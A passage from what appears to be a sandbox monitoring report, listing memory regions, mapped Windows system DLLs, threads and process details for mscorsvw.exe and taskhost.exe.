= "" Region: id = 6112 start_va = 0x1b00000 end_va = 0x1bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 6113 start_va = 0x73320000 end_va = 0x73344fff monitored = 0 entry_point = 0x73322b71 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 6114 start_va = 0x73350000 end_va = 0x73378fff monitored = 0 entry_point = 0x73356b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 6115 start_va = 0x73380000 end_va = 0x7338cfff monitored = 0 entry_point = 0x733811e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 6116 start_va = 0x73390000 end_va = 0x73394fff monitored = 0 entry_point = 0x73391246 region_type = mapped_file name = "msidle.dll" filename = "\\Windows\\SysWOW64\\msidle.dll" (normalized: "c:\\windows\\syswow64\\msidle.dll") Region: id = 6117 start_va = 0x733a0000 end_va = 0x733a8fff monitored = 0 entry_point = 0x733a1220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 6118 start_va = 0x733b0000 end_va = 0x7343cfff monitored = 1 entry_point = 0x733c2860 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 6119 start_va = 0x73450000 end_va = 0x73462fff monitored = 1 entry_point = 0x734533b0 region_type = mapped_file name = "fusion.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\fusion.dll") Region: id = 6120 start_va = 0x73470000 end_va = 0x734e0fff monitored = 1 entry_point = 0x734793b0 region_type = mapped_file name = "mscorsvc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvc.dll") Region: id = 6121 start_va = 0x734f0000 end_va = 0x734f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 6122 start_va = 0x73500000 end_va = 0x73549fff monitored = 1 entry_point = 0x73502e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 6123 start_va = 0x73550000 end_va = 0x735fafff monitored = 0 entry_point = 0x735e5f20 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\SysWOW64\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase_clr0400.dll") Region: id = 6124 start_va = 0x73600000 end_va = 0x73613fff monitored = 0 entry_point = 0x7360ac00 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\SysWOW64\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140_clr0400.dll") Region: id = 6125 start_va = 0x73620000 end_va = 0x73627fff monitored = 0 entry_point = 0x736220f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 6126 start_va = 0x73630000 end_va = 0x7368bfff monitored = 0 entry_point = 0x7366f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 6127 start_va = 0x73690000 end_va = 0x736cefff monitored = 0 entry_point = 0x736be088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 6128 start_va = 0x74a40000 end_va = 0x74a4bfff monitored = 0 entry_point = 0x74a410e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 6129 start_va = 0x74a50000 end_va = 0x74aaffff monitored = 0 entry_point = 0x74a6a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 6130 start_va = 0x74c40000 end_va = 0x74d0bfff monitored = 0 entry_point = 0x74c4168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 6131 start_va = 0x74d40000 end_va = 0x74ddcfff monitored = 0 entry_point = 0x74d73fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 6132 start_va = 0x75130000 end_va = 0x751befff monitored = 0 entry_point = 0x75133fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 6133 start_va = 0x751c0000 end_va = 0x75216fff monitored = 0 entry_point = 0x751d9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 6134 start_va = 0x75220000 end_va = 0x752affff monitored = 0 entry_point = 0x75236343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 6135 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 6136 start_va = 0x753c0000 end_va = 0x75406fff monitored = 0 entry_point = 0x753c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 6137 start_va = 0x75410000 end_va = 0x754bbfff monitored = 0 entry_point = 0x7541a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 6138 start_va = 0x75550000 end_va = 0x755affff monitored = 0 entry_point = 0x7556158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 6139 start_va = 0x75740000 end_va = 0x7589bfff monitored = 0 entry_point = 0x7578ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 6140 start_va = 0x758a0000 end_va = 0x758c6fff monitored = 0 entry_point = 0x758a58b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 6141 start_va = 0x759a0000 end_va = 0x759b8fff monitored = 0 entry_point = 0x759a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 6142 start_va = 0x759c0000 end_va = 0x759c9fff monitored = 0 entry_point = 0x759c36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 6143 start_va = 0x759d0000 end_va = 0x75b6cfff monitored = 0 entry_point = 0x759d17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 6144 start_va = 0x75b70000 end_va = 0x75b81fff monitored = 0 entry_point = 0x75b71441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 6145 start_va = 0x76860000 end_va = 0x7695ffff monitored = 0 entry_point = 0x7687b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 6146 start_va = 0x76970000 end_va = 0x76a5ffff monitored = 0 entry_point = 0x76980569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 6147 start_va = 0x76a60000 end_va = 0x76afffff monitored = 0 entry_point = 0x76a749e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 6148 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076b00000" filename = "" Region: id = 6149 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c20000" filename = "" Region: id = 6150 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6151 start_va = 0x76f00000 end_va = 0x7707ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 6152 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 6153 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 6154 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6155 start_va = 0x7fff0000 end_va = 0x7fffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 6156 start_va = 0x80000000 end_va = 0x8000ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000080000000" filename = "" Region: id = 6157 start_va = 0xfffa4000 end_va = 0xfffa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffa4000" filename = "" Region: id = 6158 start_va = 0xfffa7000 end_va = 0xfffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffa7000" filename = "" Region: id = 6159 start_va = 0xfffaa000 end_va = 0xfffacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffaa000" filename = "" Region: id = 6160 start_va = 0xfffad000 end_va = 0xfffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffad000" filename = "" Region: id = 6161 start_va = 0xfffb0000 end_va = 0xfffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 6162 start_va = 0xfffd5000 end_va = 0xfffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffd5000" filename = "" Region: id = 6163 start_va = 0xfffd8000 end_va = 0xfffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffd8000" filename = "" Region: id = 6164 start_va = 0xfffdb000 end_va = 0xfffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 6165 start_va = 0xfffde000 end_va = 0xfffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 6166 start_va = 0xfffdf000 end_va = 0xfffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 6167 start_va = 0xfffe0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Thread: id = 402 os_tid = 0xd00 Thread: id = 403 os_tid = 0x31c Thread: id = 404 os_tid = 0x6dc Thread: id = 405 os_tid = 0x560 Thread: id = 406 os_tid = 0x54c Thread: id = 407 os_tid = 0x524 Thread: id = 557 os_tid = 0xf8c Process: id = "26" image_name = "mscorsvw.exe" filename = "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorsvw.exe" page_root = "0x7ac27000" os_pid = "0x558" os_integrity_level = "0x4000" os_privileges = "0x40804080" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 6168 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 6169 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 6170 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 6171 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 6172 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6173 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 6174 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 6175 start_va = 0xe0000 end_va = 0xecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 6176 start_va = 0x100000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 6177 start_va = 0x110000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 6178 start_va = 0x210000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 6179 start_va = 0x370000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 6180 start_va = 0x390000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 6181 start_va = 0x490000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6182 start_va = 0x5b0000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 6183 start_va = 0x630000 end_va = 0x7b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 6184 start_va = 0x7c0000 end_va = 0x940fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 6185 start_va = 0x950000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 6186 start_va = 0xa50000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 6187 start_va = 0xb90000 end_va = 0xc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 6188 start_va = 0xdc0000 end_va = 0xebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 6189 start_va = 0xef0000 end_va = 0xfeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 6190 start_va = 0x1020000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 6191 start_va = 0x1120000 end_va = 0x131ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 6192 start_va = 0x1320000 end_va = 0x171ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001320000" filename = "" Region: id = 6193 start_va = 0x1880000 end_va = 0x197ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001880000" filename = "" Region: id = 6194 start_va = 0x1a30000 end_va = 0x1b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a30000" filename = "" Region: id = 6195 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6196 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6197 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6198 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 6199 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 6200 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6201 start_va = 0x13fef0000 end_va = 0x13ff16fff monitored = 0 entry_point = 0x13fefdaf0 region_type = mapped_file name = "mscorsvw.exe" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorsvw.exe") Region: id = 6202 start_va = 0x7fef8ba0000 end_va = 0x7fef8ba6fff monitored = 0 entry_point = 0x7fef8ba11e0 region_type = mapped_file name = "msidle.dll" filename = "\\Windows\\System32\\msidle.dll" (normalized: "c:\\windows\\system32\\msidle.dll") Region: id = 6203 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 6204 start_va = 0x7fef9d20000 end_va = 0x7fef9d3afff monitored = 1 entry_point = 0x7fef9d222e0 region_type = mapped_file name = "fusion.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\fusion.dll") Region: id = 6205 start_va = 0x7fef9d40000 end_va = 0x7fef9dcbfff monitored = 1 entry_point = 0x7fef9d44dc0 region_type = mapped_file name = "mscorsvc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorsvc.dll") Region: id = 6206 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 6207 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 6208 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 6209 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 6210 start_va = 0x7fefac10000 end_va = 0x7fefac3bfff monitored = 0 entry_point = 0x7fefac115c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 6211 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 6212 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6213 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6214 start_va = 0x7fefcc10000 end_va = 0x7fefcc4cfff monitored = 0 entry_point = 0x7fefcc118f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 6215 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6216 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 6217 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 6218 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6219 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6220 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 6221 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6222 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6223 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 6224 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 6225 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 6226 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6227 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 6228 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6229 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 6230 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6231 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 6232 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 6233 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 6234 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 6235 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 6236 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 6237 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 6238 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 6239 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 6240 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 408 os_tid = 0xd10 Thread: id = 409 os_tid = 0x17c Thread: id = 410 os_tid = 0x66c Thread: id = 411 os_tid = 0x578 Thread: id = 412 os_tid = 0x570 Thread: id = 413 os_tid = 0x55c Thread: id = 558 os_tid = 0xedc Process: id = "27" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x62a99000" os_pid = "0x43c" os_integrity_level = "0x4000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x1cc" cmd_line = "taskhost.exe $(Arg0)" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT 